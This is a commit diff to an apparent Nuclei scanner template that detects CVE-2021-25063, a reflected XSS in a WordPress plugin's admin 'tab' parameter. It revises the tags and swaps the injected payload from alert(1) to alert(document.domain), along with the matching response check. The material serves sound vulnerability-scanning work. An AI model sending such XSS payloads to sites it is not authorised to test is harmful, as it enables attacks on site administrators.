Update CVE-2021-25063.yaml

cves/2021/CVE-2021-25063.yaml

@@ -6,12 +6,12 @@ info:
   severity: medium
   description: The plugin does not sanitise and escape the tab parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting
   reference: https://wpscan.com/vulnerability/e2185887-3e53-4089-aa3f-981c944ee0bb
-  tags: wordpress,wp-plugin,xss,contactform
   classification:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
     cvss-score: 6.10
     cve-id: CVE-2021-25063
     cwe-id: CWE-79
+  tags: wordpress,wp-plugin,xss,contactform,wp
 
 requests:
   - raw:
@@ -24,7 +24,7 @@ requests:
 
         log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
       - |
-        GET /wp-admin/admin.php?page=cf7skins&tab=%27%3E%3Cimg+src+onerror%3Dalert%281%29%3E HTTP/1.1
+        GET /wp-admin/admin.php?page=cf7skins&tab=%27%3E%3Cimg+src+onerror%3Dalert%28document.domain%29%3E HTTP/1.1
         Host: {{Hostname}}
 
     cookie-reuse: true
@@ -33,7 +33,7 @@ requests:
       - type: word
         part: body
         words:
-          - "<img+src+onerror=alert(1)>"
+          - "<img src onerror=alert(document.domain)>' type='hidden"
 
       - type: word
         part: header